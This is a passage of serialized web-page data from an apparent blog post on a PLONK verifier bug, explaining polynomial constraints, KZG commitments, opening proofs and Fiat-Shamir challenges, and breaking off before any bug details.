"props":145059,"children":145061},{"className":145060},[6396,23384,6445],[145062],{"type":29,"value":119841},{"type":24,"tag":90,"props":145064,"children":145066},{"className":145065},[23541],[145067],{"type":29,"value":23544},{"type":24,"tag":90,"props":145069,"children":145071},{"className":145070},[6422],[145072],{"type":24,"tag":90,"props":145073,"children":145075},{"className":145074,"style":94960},[6427],[145076],{"type":24,"tag":90,"props":145077,"children":145078},{},[],{"type":24,"tag":90,"props":145080,"children":145082},{"className":145081},[23513],[145083],{"type":29,"value":117},{"type":24,"tag":90,"props":145085,"children":145087},{"className":145086},[6396,23384],[145088],{"type":29,"value":21070},{"type":24,"tag":90,"props":145090,"children":145092},{"className":145091},[23535],[145093],{"type":29,"value":517},{"type":29,"value":145095},", etc., all interpolated over a domain ",{"type":24,"tag":32,"props":145097,"children":145099},{"className":145098},[6368,6369],[145100],{"type":24,"tag":90,"props":145101,"children":145103},{"className":145102},[6374],[145104],{"type":24,"tag":90,"props":145105,"children":145107},{"className":145106,"ariaHidden":6380},[6379],[145108],{"type":24,"tag":90,"props":145109,"children":145111},{"className":145110},[6385],[145112,145116],{"type":24,"tag":90,"props":145113,"children":145115},{"className":145114,"style":23379},[6390],[],{"type":24,"tag":90,"props":145117,"children":145119},{"className":145118,"style":95111},[6396,23384],[145120],{"type":29,"value":95114},{"type":29,"value":145122}," of ",{"type":24,"tag":32,"props":145124,"children":145126},{"className":145125},[6368,6369],[145127],{"type":24,"tag":90,"props":145128,"children":145130},{"className":145129},[6374],[145131],{"type":24,"tag":90,"props":145132,"children":145134},{"className":145133,"ariaHidden":6380},[6379],[145135],{"type":24,"tag":90,"props":145136,"children":145138},{"className":145137},[6385],[145139,145143],{"type":24,"tag":90,"props":145140,"children":145142},{"className":145141,"style":112718},[6390],[],{"type":24,"tag":90,"props":145144,"children":145146},{"className":145145},[6396,23384],[145147],{"type":29,"value":58228},{"type":29,"value":145149},"-th roots of unity. Evaluating ",{"type":24,"tag":32,"props":145151,"children":145153},{"className":145152},[6368,6369],[145154],{"type":24,"tag":90,"props":145155,"children":145157},{"className":145156},[6374],[145158],{"type":24,"tag":90,"props":145159,"children":145161},{"className":145160,"ariaHidden":6380},[6379],[145162],{"type":24,"tag":90,"props":145163,"children":145165},{"className":145164},[6385],[145166,145170,145227,145232,145237],{"type":24,"tag":90,"props":145167,"children":145169},{"className":145168,"style":6496},[6390],[],{"type":24,"tag":90,"props":145171,"children":145173},{"className":145172},[6396],[145174,145179],{"type":24,"tag":90,"props":145175,"children":145177},{"className":145176,"style":97231},[6396,23384],[145178],{"type":29,"value":34899},{"type":24,"tag":90,"props":145180,"children":145182},{"className":145181},[6412],[145183],{"type":24,"tag":90,"props":145184,"children":145186},{"className":145185},[6417,23438],[145187,145216],{"type":24,"tag":90,"props":145188,"children":145190},{"className":145189},[6422],[145191,145211],{"type":24,"tag":90,"props":145192,"children":145194},{"className":145193,"style":144432},[6427],[145195],{"type":24,"tag":90,"props":145196,"children":145197},{"style":97252},[145198,145202],{"type":24,"tag":90,"props":145199,"children":145201},{"className":145200,"style":6437},[6436],[],{"type":24,"tag":90,"props":145203,"children":145205},{"className":145204},[6442,6443,6444,6445],[145206],{"type":24,"tag":90,"props":145207,"children":145209},{"className":145208},[6396,23384,6445],[145210],{"type":29,"value":119841},{"type":24,"tag":90,"props":145212,"children":145214},{"className":145213},[23541],[145215],{"type":29,"value":23544},{"type":24,"tag":90,"props":145217,"children":145219},{"className":145218},[6422],[145220],{"type":24,"tag":90,"props":145221,"children":145223},{"className":145222,"style":94960},[6427],[145224],{"type":24,"tag":90,"props":145225,"children":145226},{},[],{"type":24,"tag":90,"props":145228,"children":145230},{"className":145229},[23513],[145231],{"type":29,"value":117},{"type":24,"tag":90,"props":145233,"children":145235},{"className":145234},[6396,23384],[145236],{"type":29,"value":21070},{"type":24,"tag":90,"props":145238,"children":145240},{"className":145239},[23535],[145241],{"type":29,"value":517},{"type":29,"value":145243}," at the ",{"type":24,"tag":32,"props":145245,"children":145247},{"className":145246},[6368,6369],[145248],{"type":24,"tag":90,"props":145249,"children":145251},{"className":145250},[6374],[145252],{"type":24,"tag":90,"props":145253,"children":145255},{"className":145254,"ariaHidden":6380},[6379],[145256],{"type":24,"tag":90,"props":145257,"children":145259},{"className":145258},[6385],[145260,145264],{"type":24,"tag":90,"props":145261,"children":145263},{"className":145262,"style":144128},[6390],[],{"type":24,"tag":90,"props":145265,"children":145267},{"className":145266},[6396,23384],[145268],{"type":29,"value":6123},{"type":29,"value":145270},"-th root recovers the left wire value at row ",{"type":24,"tag":32,"props":145272,"children":145274},{"className":145273},[6368,6369],[145275],{"type":24,"tag":90,"props":145276,"children":145278},{"className":145277},[6374],[145279],{"type":24,"tag":90,"props":145280,"children":145282},{"className":145281,"ariaHidden":6380},[6379],[145283],{"type":24,"tag":90,"props":145284,"children":145286},{"className":145285},[6385],[145287,145291],{"type":24,"tag":90,"props":145288,"children":145290},{"className":145289,"style":144128},[6390],[],{"type":24,"tag":90,"props":145292,"children":145294},{"className":145293},[6396,23384],[145295],{"type":29,"value":6123},{"type":29,"value":226},{"type":24,"tag":145298,"props":145299,"children":145300},"polynomial-interpolation-panel",{},[],{"type":24,"tag":25,"props":145302,"children":145303},{},[145304,145306,145346,145348,145414,145416,145546,145548,145588,145590,145630,145632,145672,145673,145795],{"type":29,"value":145305},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":24,"tag":32,"props":145307,"children":145309},{"className":145308},[6368,6369],[145310],{"type":24,"tag":90,"props":145311,"children":145313},{"className":145312},[6374],[145314],{"type":24,"tag":90,"props":145315,"children":145317},{"className":145316,"ariaHidden":6380},[6379],[145318],{"type":24,"tag":90,"props":145319,"children":145321},{"className":145320},[6385],[145322,145326,145331,145336,145341],{"type":24,"tag":90,"props":145323,"children":145325},{"className":145324,"style":6496},[6390],[],{"type":24,"tag":90,"props":145327,"children":145329},{"className":145328,"style":23385},[6396,23384],[145330],{"type":29,"value":123655},{"type":24,"tag":90,"props":145332,"children":145334},{"className":145333},[23513],[145335],{"type":29,"value":117},{"type":24,"tag":90,"props":145337,"children":145339},{"className":145338},[6396,23384],[145340],{"type":29,"value":21070},{"type":24,"tag":90,"props":145342,"children":145344},{"className":145343},[23535],[145345],{"type":29,"value":517},{"type":29,"value":145347}," that combines selectors and witnesses. If the prover was honest, ",{"type":24,"tag":32,"props":145349,"children":145351},{"className":145350},[6368,6369],[145352],{"type":24,"tag":90,"props":145353,"children":145355},{"className":145354},[6374],[145356],{"type":24,"tag":90,"props":145357,"children":145359},{"className":145358,"ariaHidden":6380},[6379],[145360,145401],{"type":24,"tag":90,"props":145361,"children":145363},{"className":145362},[6385],[145364,145368,145373,145378,145383,145388,145392,145397],{"type":24,"tag":90,"props":145365,"children":145367},{"className":145366,"style":6496},[6390],[],{"type":24,"tag":90,"props":145369,"children":145371},{"className":145370,"style":23385},[6396,23384],[145372],{"type":29,"value":123655},{"type":24,"tag":90,"props":145374,"children":145376},{"className":145375},[23513],[145377],{"type":29,"value":117},{"type":24,"tag":90,"props":145379,"children":145381},{"className":145380},[6396,23384],[145382],{"type":29,"value":21070},{"type":24,"tag":90,"props":145384,"children":145386},{"className":145385},[23535],[145387],{"type":29,"value":517},{"type":24,"tag":90,"props":145389,"children":145391},{"className":145390,"style":6573},[6475],[],{"type":24,"tag":90,"props":145393,"children":145395},{"className":145394},[6578],[145396],{"type":29,"value":5491},{"type":24,"tag":90,"props":145398,"children":145400},{"className":145399,"style":6573},[6475],[],{"type":24,"tag":90,"props":145402,"children":145404},{"className":145403},[6385],[145405,145409],{"type":24,"tag":90,"props":145406,"children":145408},{"className":145407,"style":95908},[6390],[],{"type":24,"tag":90,"props":145410,"children":145412},{"className":145411},[6396],[145413],{"type":29,"value":6408},{"type":29,"value":145415}," at every row index in the domain. The vanishing polynomial ",{"type":24,"tag":32,"props":145417,"children":145419},{"className":145418},[6368,6369],[145420],{"type":24,"tag":90,"props":145421,"children":145423},{"className":145422},[6374],[145424],{"type":24,"tag":90,"props":145425,"children":145427},{"className":145426,"ariaHidden":6380},[6379],[145428,145470,145533],{"type":24,"tag":90,"props":145429,"children":145431},{"className":145430},[6385],[145432,145436,145442,145447,145452,145457,145461,145466],{"type":24,"tag":90,"props":145433,"children":145435},{"className":145434,"style":6496},[6390],[],{"type":24,"tag":90,"props":145437,"children":145439},{"className":145438,"style":23916},[6396,23384],[145440],{"type":29,"value":145441},"Z",{"type":24,"tag":90,"props":145443,"children":145445},{"className":145444},[23513],[145446],{"type":29,"value":117},{"type":24,"tag":90,"props":145448,"children":145450},{"className":145449},[6396,23384],[145451],{"type":29,"value":21070},{"type":24,"tag":90,"props":145453,"children":145455},{"className":145454},[23535],[145456],{"type":29,"value":517},{"type":24,"tag":90,"props":145458,"children":145460},{"className":145459,"style":6573},[6475],[],{"type":24,"tag":90,"props":145462,"children":145464},{"className":145463},[6578],[145465],{"type":29,"value":5491},{"type":24,"tag":90,"props":145467,"children":145469},{"className":145468,"style":6573},[6475],[],{"type":24,"tag":90,"props":145471,"children":145473},{"className":145472},[6385],[145474,145479,145520,145524,145529],{"type":24,"tag":90,"props":145475,"children":145478},{"className":145476,"style":145477},[6390],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":24,"tag":90,"props":145480,"children":145482},{"className":145481},[6396],[145483,145488],{"type":24,"tag":90,"props":145484,"children":145486},{"className":145485},[6396,23384],[145487],{"type":29,"value":21070},{"type":24,"tag":90,"props":145489,"children":145491},{"className":145490},[6412],[145492],{"type":24,"tag":90,"props":145493,"children":145495},{"className":145494},[6417],[145496],{"type":24,"tag":90,"props":145497,"children":145499},{"className":145498},[6422],[145500],{"type":24,"tag":90,"props":145501,"children":145503},{"className":145502,"style":110594},[6427],[145504],{"type":24,"tag":90,"props":145505,"children":145506},{"style":6431},[145507,145511],{"type":24,"tag":90,"props":145508,"children":145510},{"className":145509,"style":6437},[6436],[],{"type":24,"tag":90,"props":145512,"children":145514},{"className":145513},[6442,6443,6444,6445],[145515],{"type":24,"tag":90,"props":145516,"children":145518},{"className":145517},[6396,23384,6445],[145519],{"type":29,"value":58228},{"type":24,"tag":90,"props":145521,"children":145523},{"className":145522,"style":6476},[6475],[],{"type":24,"tag":90,"props":145525,"children":145527},{"className":145526},[6481],[145528],{"type":29,"value":6456},{"type":24,"tag":90,"props":145530,"children":145532},{"className":145531,"style":6476},[6475],[],{"type":24,"tag":90,"props":145534,"children":145536},{"className":145535},[6385],[145537,145541],{"type":24,"tag":90,"props":145538,"children":145540},{"className":145539,"style":95908},[6390],[],{"type":24,"tag":90,"props":145542,"children":145544},{"className":145543},[6396],[145545],{"type":29,"value":534},{"type":29,"value":145547}," is zero on exactly those points, so if all constraints hold then ",{"type":24,"tag":32,"props":145549,"children":145551},{"className":145550},[6368,6369],[145552],{"type":24,"tag":90,"props":145553,"children":145555},{"className":145554},[6374],[145556],{"type":24,"tag":90,"props":145557,"children":145559},{"className":145558,"ariaHidden":6380},[6379],[145560],{"type":24,"tag":90,"props":145561,"children":145563},{"className":145562},[6385],[145564,145568,145573,145578,145583],{"type":24,"tag":90,"props":145565,"children":145567},{"className":145566,"style":6496},[6390],[],{"type":24,"tag":90,"props":145569,"children":145571},{"className":145570,"style":23916},[6396,23384],[145572],{"type":29,"value":145441},{"type":24,"tag":90,"props":145574,"children":145576},{"className":145575},[23513],[145577],{"type":29,"value":117},{"type":24,"tag":90,"props":145579,"children":145581},{"className":145580},[6396,23384],[145582],{"type":29,"value":21070},{"type":24,"tag":90,"props":145584,"children":145586},{"className":145585},[23535],[145587],{"type":29,"value":517},{"type":29,"value":145589}," divides ",{"type":24,"tag":32,"props":145591,"children":145593},{"className":145592},[6368,6369],[145594],{"type":24,"tag":90,"props":145595,"children":145597},{"className":145596},[6374],[145598],{"type":24,"tag":90,"props":145599,"children":145601},{"className":145600,"ariaHidden":6380},[6379],[145602],{"type":24,"tag":90,"props":145603,"children":145605},{"className":145604},[6385],[145606,145610,145615,145620,145625],{"type":24,"tag":90,"props":145607,"children":145609},{"className":145608,"style":6496},[6390],[],{"type":24,"tag":90,"props":145611,"children":145613},{"className":145612,"style":23385},[6396,23384],[145614],{"type":29,"value":123655},{"type":24,"tag":90,"props":145616,"children":145618},{"className":145617},[23513],[145619],{"type":29,"value":117},{"type":24,"tag":90,"props":145621,"children":145623},{"className":145622},[6396,23384],[145624],{"type":29,"value":21070},{"type":24,"tag":90,"props":145626,"children":145628},{"className":145627},[23535],[145629],{"type":29,"value":517},{"type":29,"value":145631},", yielding a quotient polynomial ",{"type":24,"tag":32,"props":145633,"children":145635},{"className":145634},[6368,6369],[145636],{"type":24,"tag":90,"props":145637,"children":145639},{"className":145638},[6374],[145640],{"type":24,"tag":90,"props":145641,"children":145643},{"className":145642,"ariaHidden":6380},[6379],[145644],{"type":24,"tag":90,"props":145645,"children":145647},{"className":145646},[6385],[145648,145652,145657,145662,145667],{"type":24,"tag":90,"props":145649,"children":145651},{"className":145650,"style":6496},[6390],[],{"type":24,"tag":90,"props":145653,"children":145655},{"className":145654,"style":23385},[6396,23384],[145656],{"type":29,"value":1960},{"type":24,"tag":90,"props":145658,"children":145660},{"className":145659},[23513],[145661],{"type":29,"value":117},{"type":24,"tag":90,"props":145663,"children":145665},{"className":145664},[6396,23384],[145666],{"type":29,"value":21070},{"type":24,"tag":90,"props":145668,"children":145670},{"className":145669},[23535],[145671],{"type":29,"value":517},{"type":29,"value":23300},{"type":24,"tag":32,"props":145674,"children":145676},{"className":145675},[6368,6369],[145677],{"type":24,"tag":90,"props":145678,"children":145680},{"className":145679},[6374],[145681],{"type":24,"tag":90,"props":145682,"children":145684},{"className":145683,"ariaHidden":6380},[6379],[145685,145726,145767],{"type":24,"tag":90,"props":145686,"children":145688},{"className":145687},[6385],[145689,145693,145698,145703,145708,145713,145717,145722],{"type":24,"tag":90,"props":145690,"children":145692},{"className":145691,"style":6496},[6390],[],{"type":24,"tag":90,"props":145694,"children":145696},{"className":145695,"style":23385},[6396,23384],[145697],{"type":29,"value":123655},{"type":24,"tag":90,"props":145699,"children":145701},{"className":145700},[23513],[145702],{"type":29,"value":117},{"type":24,"tag":90,"props":145704,"children":145706},{"className":145705},[6396,23384],[145707],{"type":29,"value":21070},{"type":24,"tag":90,"props":145709,"children":145711},{"className":145710},[23535],[145712],{"type":29,"value":517},{"type":24,"tag":90,"props":145714,"children":145716},{"className":145715,"style":6573},[6475],[],{"type":24,"tag":90,"props":145718,"children":145720},{"className":145719},[6578],[145721],{"type":29,"value":5491},{"type":24,"tag":90,"props":145723,"children":145725},{"className":145724,"style":6573},[6475],[],{"type":24,"tag":90,"props":145727,"children":145729},{"className":145728},[6385],[145730,145734,145739,145744,145749,145754,145758,145763],{"type":24,"tag":90,"props":145731,"children":145733},{"className":145732,"style":6496},[6390],[],{"type":24,"tag":90,"props":145735,"children":145737},{"className":145736,"style":23385},[6396,23384],[145738],{"type":29,"value":1960},{"type":24,"tag":90,"props":145740,"children":145742},{"className":145741},[23513],[145743],{"type":29,"value":117},{"type":24,"tag":90,"props":145745,"children":145747},{"className":145746},[6396,23384],[145748],{"type":29,"value":21070},{"type":24,"tag":90,"props":145750,"children":145752},{"className":145751},[23535],[145753],{"type":29,"value":517},{"type":24,"tag":90,"props":145755,"children":145757},{"className":145756,"style":6476},[6475],[],{"type":24,"tag":90,"props":145759,"children":145761},{"className":145760},[6481],[145762],{"type":29,"value":113139},{"type":24,"tag":90,"props":145764,"children":145766},{"className":145765,"style":6476},[6475],[],{"type":24,"tag":90,"props":145768,"children":145770},{"className":145769},[6385],[145771,145775,145780,145785,145790],{"type":24,"tag":90,"props":145772,"children":145774},{"className":145773,"style":6496},[6390],[],{"type":24,"tag":90,"props":145776,"children":145778},{"className":145777,"style":23916},[6396,23384],[145779],{"type":29,"value":145441},{"type":24,"tag":90,"props":145781,"children":145783},{"className":145782},[23513],[145784],{"type":29,"value":117},{"type":24,"tag":90,"props":145786,"children":145788},{"className":145787},[6396,23384],[145789],{"type":29,"value":21070},{"type":24,"tag":90,"props":145791,"children":145793},{"className":145792},[23535],[145794],{"type":29,"value":517},{"type":29,"value":226},{"type":24,"tag":25,"props":145797,"children":145798},{},[145799],{"type":24,"tag":6301,"props":145800,"children":145803},{"alt":145801,"src":145802},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":24,"tag":1019,"props":145805,"children":145807},{"id":145806},"polynomial-commitments-and-opening-proofs",[145808],{"type":29,"value":145809},"Polynomial commitments and opening proofs",{"type":24,"tag":25,"props":145811,"children":145812},{},[145813,145815,145820,145822,145827],{"type":29,"value":145814},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":24,"tag":842,"props":145816,"children":145817},{},[145818],{"type":29,"value":145819},"commitments",{"type":29,"value":145821},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":24,"tag":842,"props":145823,"children":145824},{},[145825],{"type":29,"value":145826},"opening proof",{"type":29,"value":145828}," that the claimed value is consistent with the earlier commitment.",{"type":24,"tag":25,"props":145830,"children":145831},{},[145832],{"type":29,"value":145833},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":24,"tag":1019,"props":145835,"children":145837},{"id":145836},"reducing-to-a-single-random-point",[145838],{"type":29,"value":145839},"Reducing to a single random point",{"type":24,"tag":25,"props":145841,"children":145842},{},[145843,145845,145885,145887,145912,145914,146036,146038,146063],{"type":29,"value":145844},"After the prover commits to all polynomials, including ",{"type":24,"tag":32,"props":145846,"children":145848},{"className":145847},[6368,6369],[145849],{"type":24,"tag":90,"props":145850,"children":145852},{"className":145851},[6374],[145853],{"type":24,"tag":90,"props":145854,"children":145856},{"className":145855,"ariaHidden":6380},[6379],[145857],{"type":24,"tag":90,"props":145858,"children":145860},{"className":145859},[6385],[145861,145865,145870,145875,145880],{"type":24,"tag":90,"props":145862,"children":145864},{"className":145863,"style":6496},[6390],[],{"type":24,"tag":90,"props":145866,"children":145868},{"className":145867,"style":23385},[6396,23384],[145869],{"type":29,"value":1960},{"type":24,"tag":90,"props":145871,"children":145873},{"className":145872},[23513],[145874],{"type":29,"value":117},{"type":24,"tag":90,"props":145876,"children":145878},{"className":145877},[6396,23384],[145879],{"type":29,"value":21070},{"type":24,"tag":90,"props":145881,"children":145883},{"className":145882},[23535],[145884],{"type":29,"value":517},{"type":29,"value":145886},", the verifier picks a random challenge point ",{"type":24,"tag":32,"props":145888,"children":145890},{"className":145889},[6368,6369],[145891],{"type":24,"tag":90,"props":145892,"children":145894},{"className":145893},[6374],[145895],{"type":24,"tag":90,"props":145896,"children":145898},{"className":145897,"ariaHidden":6380},[6379],[145899],{"type":24,"tag":90,"props":145900,"children":145902},{"className":145901},[6385],[145903,145907],{"type":24,"tag":90,"props":145904,"children":145906},{"className":145905,"style":112718},[6390],[],{"type":24,"tag":90,"props":145908,"children":145910},{"className":145909,"style":115434},[6396,23384],[145911],{"type":29,"value":115437},{"type":29,"value":145913}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":24,"tag":32,"props":145915,"children":145917},{"className":145916},[6368,6369],[145918],{"type":24,"tag":90,"props":145919,"children":145921},{"className":145920},[6374],[145922],{"type":24,"tag":90,"props":145923,"children":145925},{"className":145924,"ariaHidden":6380},[6379],[145926,145967,146008],{"type":24,"tag":90,"props":145927,"children":145929},{"className":145928},[6385],[145930,145934,145939,145944,145949,145954,145958,145963],{"type":24,"tag":90,"props":145931,"children":145933},{"className":145932,"style":6496},[6390],[],{"type":24,"tag":90,"props":145935,"children":145937},{"className":145936,"style":23385},[6396,23384],[145938],{"type":29,"value":123655},{"type":24,"tag":90,"props":145940,"children":145942},{"className":145941},[23513],[145943],{"type":29,"value":117},{"type":24,"tag":90,"props":145945,"children":145947},{"className":145946,"style":115434},[6396,23384],[145948],{"type":29,"value":115437},{"type":24,"tag":90,"props":145950,"children":145952},{"className":145951},[23535],[145953],{"type":29,"value":517},{"type":24,"tag":90,"props":145955,"children":145957},{"className":145956,"style":6573},[6475],[],{"type":24,"tag":90,"props":145959,"children":145961},{"className":145960},[6578],[145962],{"type":29,"value":5491},{"type":24,"tag":90,"props":145964,"children":145966},{"className":145965,"style":6573},[6475],[],{"type":24,"tag":90,"props":145968,"children":145970},{"className":145969},[6385],[145971,145975,145980,145985,145990,145995,145999,146004],{"type":24,"tag":90,"props":145972,"children":145974},{"className":145973,"style":6496},[6390],[],{"type":24,"tag":90,"props":145976,"children":145978},{"className":145977,"style":23385},[6396,23384],[145979],{"type":29,"value":1960},{"type":24,"tag":90,"props":145981,"children":145983},{"className":145982},[23513],[145984],{"type":29,"value":117},{"type":24,"tag":90,"props":145986,"children":145988},{"className":145987,"style":115434},[6396,23384],[145989],{"type":29,"value":115437},{"type":24,"tag":90,"props":145991,"children":145993},{"className":145992},[23535],[145994],{"type":29,"value":517},{"type":24,"tag":90,"props":145996,"children":145998},{"className":145997,"style":6476},[6475],[],{"type":24,"tag":90,"props":146000,"children":146002},{"className":146001},[6481],[146003],{"type":29,"value":113139},{"type":24,"tag":90,"props":146005,"children":146007},{"className":146006,"style":6476},[6475],[],{"type":24,"tag":90,"props":146009,"children":146011},{"className":146010},[6385],[146012,146016,146021,146026,146031],{"type":24,"tag":90,"props":146013,"children":146015},{"className":146014,"style":6496},[6390],[],{"type":24,"tag":90,"props":146017,"children":146019},{"className":146018,"style":23916},[6396,23384],[146020],{"type":29,"value":145441},{"type":24,"tag":90,"props":146022,"children":146024},{"className":146023},[23513],[146025],{"type":29,"value":117},{"type":24,"tag":90,"props":146027,"children":146029},{"className":146028,"style":115434},[6396,23384],[146030],{"type":29,"value":115437},{"type":24,"tag":90,"props":146032,"children":146034},{"className":146033},[23535],[146035],{"type":29,"value":517},{"type":29,"value":146037}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":24,"tag":32,"props":146039,"children":146041},{"className":146040},[6368,6369],[146042],{"type":24,"tag":90,"props":146043,"children":146045},{"className":146044},[6374],[146046],{"type":24,"tag":90,"props":146047,"children":146049},{"className":146048,"ariaHidden":6380},[6379],[146050],{"type":24,"tag":90,"props":146051,"children":146053},{"className":146052},[6385],[146054,146058],{"type":24,"tag":90,"props":146055,"children":146057},{"className":146056,"style":112718},[6390],[],{"type":24,"tag":90,"props":146059,"children":146061},{"className":146060,"style":115434},[6396,23384],[146062],{"type":29,"value":115437},{"type":29,"value":146064}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":24,"tag":25,"props":146066,"children":146067},{},[146068,146070,146095,146097,146102],{"type":29,"value":146069},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":24,"tag":32,"props":146071,"children":146073},{"className":146072},[6368,6369],[146074],{"type":24,"tag":90,"props":146075,"children":146077},{"className":146076},[6374],[146078],{"type":24,"tag":90,"props":146079,"children":146081},{"className":146080,"ariaHidden":6380},[6379],[146082],{"type":24,"tag":90,"props":146083,"children":146085},{"className":146084},[6385],[146086,146090],{"type":24,"tag":90,"props":146087,"children":146089},{"className":146088,"style":112718},[6390],[],{"type":24,"tag":90,"props":146091,"children":146093},{"className":146092,"style":115434},[6396,23384],[146094],{"type":29,"value":115437},{"type":29,"value":146096},", the prover supplies ",{"type":24,"tag":842,"props":146098,"children":146099},{},[146100],{"type":29,"value":146101},"evaluation claims",{"type":29,"value":146103}," that must be checked against those commitments with opening proofs.",{"type":24,"tag":25,"props":146105,"children":146106},{},[146107,146109,146113],{"type":29,"value":146108},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":24,"tag":842,"props":146110,"children":146111},{},[146112],{"type":29,"value":106421},{"type":29,"value":146114}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":24,"tag":1019,"props":146116,"children":146118},{"id":146117},"what-the-verifier-is-actually-allowed-to-trust",[146119],{"type":29,"value":146120},"What the verifier is actually allowed to trust",{"type":24,"tag":25,"props":146122,"children":146123},{},[146124,146126,146131],{"type":29,"value":146125},"For this bug, one invariant matters more than the rest: ",{"type":24,"tag":7711,"props":146127,"children":146128},{},[146129],{"type":29,"value":146130},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":29,"value":226},{"type":24,"tag":25,"props":146133,"children":146134},{},[146135,146137,146229,146230,146322,146324,146349,146351,146391,146392,146432,146433,146526,146527,146573,146575,146662,146663,146750,146751,146838],{"type":29,"value":146136},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":24,"tag":32,"props":146138,"children":146140},{"className":146139},[6368,6369],[146141],{"type":24,"tag":90,"props":146142,"children":146144},{"className":146143},[6374],[146145],{"type":24,"tag":90,"props":146146,"children":146148},{"className":146147,"ariaHidden":6380},[6379],[146149],{"type":24,"tag":90,"props":146150,"children":146152},{"className":146151},[6385],[146153,146157,146214,146219,146224],{"type":24,"tag":90,"props":146154,"children":146156},{"className":146155,"style":6496},[6390],[],{"type":24,"tag":90,"props":146158,"children":146160},{"className":146159},[6396],[146161,146166],{"type":24,"tag":90,"props":146162,"children":146164},{"className":146163,"style":23916},[6396,23384],[146165],{"type":29,"value":145441},{"type":24,"tag":90,"props":146167,"children":146169},{"className":146168},[6412],[146170],{"type":24,"tag":90,"props":146171,"children":146173},{"className":146172},[6417,23438],[146174,146203],{"type":24,"tag":90,"props":146175,"children":146177},{"className":146176},[6422],[146178,146198],{"type":24,"tag":90,"props":146179,"children":146181},{"className":146180,"style":144432},[6427],[146182],{"type":24,"tag":90,"props":146183,"children":146184},{"style":118126},[146185,146189],{"type":24,"tag":90,"props":146186,"children":146188},{"className":146187,"style":6437},[6436],[],{"type":24,"tag":90,"props":146190,"children":146192},{"className":146191},[6442,6443,6444,6445],[146193],{"type":24,"tag":90,"props":146194,"children":146196},{"className":146195,"style":95111},[6396,23384,6445],[146197],{"type":29,"value":95114},{"type":24,"tag":90,"props":146199,"children":146201},{"className":146200},[23541],[146202],{"type":29,"value":23544},{"type":24,"tag":90,"props":146204,"children":146206},{"className":146205},[6422],[146207],{"type":24,"tag":90,"props":146208,"children":146210},{"className":146209,"style":94960},[6427],[146211],{"type":24,"tag":90,"props":146212,"children":146213},{},[],{"type":24,"tag":90,"props":146215,"children":146217},{"className":146216},[23513],[146218],{"type":29,"value":117},{"type":24,"tag":90,"props":146220,"children":146222},{"className":146221,"style":115434},[6396,23384],[146223],{"type":29,"value":115437},{"type":24,"tag":90,"props":146225,"children":146227},{"className":146226},[23535],[146228],{"type":29,"value":517},{"type":29,"value":133},{"type":24,"tag":32,"props":146231,"children":146233},{"className":146232},[6368,6369],[146234],{"type":24,"tag":90,"props":146235,"children":146237},{"className":146236},[6374],[146238],{"type":24,"tag":90,"props":146239,"children":146241},{"className":146240,"ariaHidden":6380},[6379],[146242],{"type":24,"tag":90,"props":146243,"children":146245},{"className":146244},[6385],[146246,146250,146307,146312,146317],{"type":24,"tag":90,"props":146247,"children":146249},{"className":146248,"style":6496},[6390],[],{"type":24,"tag":90,"props":146251,"children":146253},{"className":146252},[6396],[146254,146259],{"type":24,"tag":90,"props":146255,"children":146257},{"className":146256},[6396,23384],[146258],{"type":29,"value":119841},{"type":24,"tag":90,"props":146260,"children":146262},{"className":146261},[6412],[146263],{"type":24,"tag":90,"props":146264,"children":146266},{"className":146265},[6417,23438],[146267,146296],{"type":24,"tag":90,"props":146268,"children":146270},{"className":146269},[6422],[146271,146291],{"type":24,"tag":90,"props":146272,"children":146274},{"className":146273,"style":94929},[6427],[146275],{"type":24,"tag":90,"props":146276,"children":146277},{"style":94933},[146278,146282],{"type":24,"tag":90,"props":146279,"children":146281},{"className":146280,"style":6437},[6436],[],{"type":24,"tag":90,"props":146283,"children":146285},{"className":146284},[6442,6443,6444,6445],[146286],{"type":24,"tag":90,"props":146287,"children":146289},{"className":146288},[6396,6445],[146290],{"type":29,"value":534},{"type":24,"tag":90,"props":146292,"children":146294},{"className":146293},[23541],[146295],{"type":29,"value":23544},{"type":24,"tag":90,"props":146297,"children":146299},{"className":146298},[6422],[146300],{"type":24,"tag":90,"props":146301,"children":146303},{"className":146302,"style":94960},[6427],[146304],{"type":24,"tag":90,"props":146305,"children":146306},{},[],{"type":24,"tag":90,"props":146308,"children":146310},{"className":146309},[23513],[146311],{"type":29,"value":117},{"type":24,"tag":90,"props":146313,"children":146315},{"className":146314,"style":115434},[6396,23384],[146316],{"type":29,"value":115437},{"type":24,"tag":90,"props":146318,"children":146320},{"className":146319},[23535],[146321],{"type":29,"value":517},{"type":29,"value":146323},", the public-input polynomial at ",{"type":24,"tag":32,"props":146325,"children":146327},{"className":146326},[6368,6369],[146328],{"type":24,"tag":90,"props":146329,"children":146331},{"className":146330},[6374],[146332],{"type":24,"tag":90,"props":146333,"children":146335},{"className":146334,"ariaHidden":6380},[6379],[146336],{"type":24,"tag":90,"props":146337,"children":146339},{"className":146338},[6385],[146340,146344],{"type":24,"tag":90,"props":146341,"children":146343},{"className":146342,"style":112718},[6390],[],{"type":24,"tag":90,"props":146345,"children":146347},{"className":146346,"style":115434},[6396,23384],[146348],{"type":29,"value":115437},{"type":29,"value":146350},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs 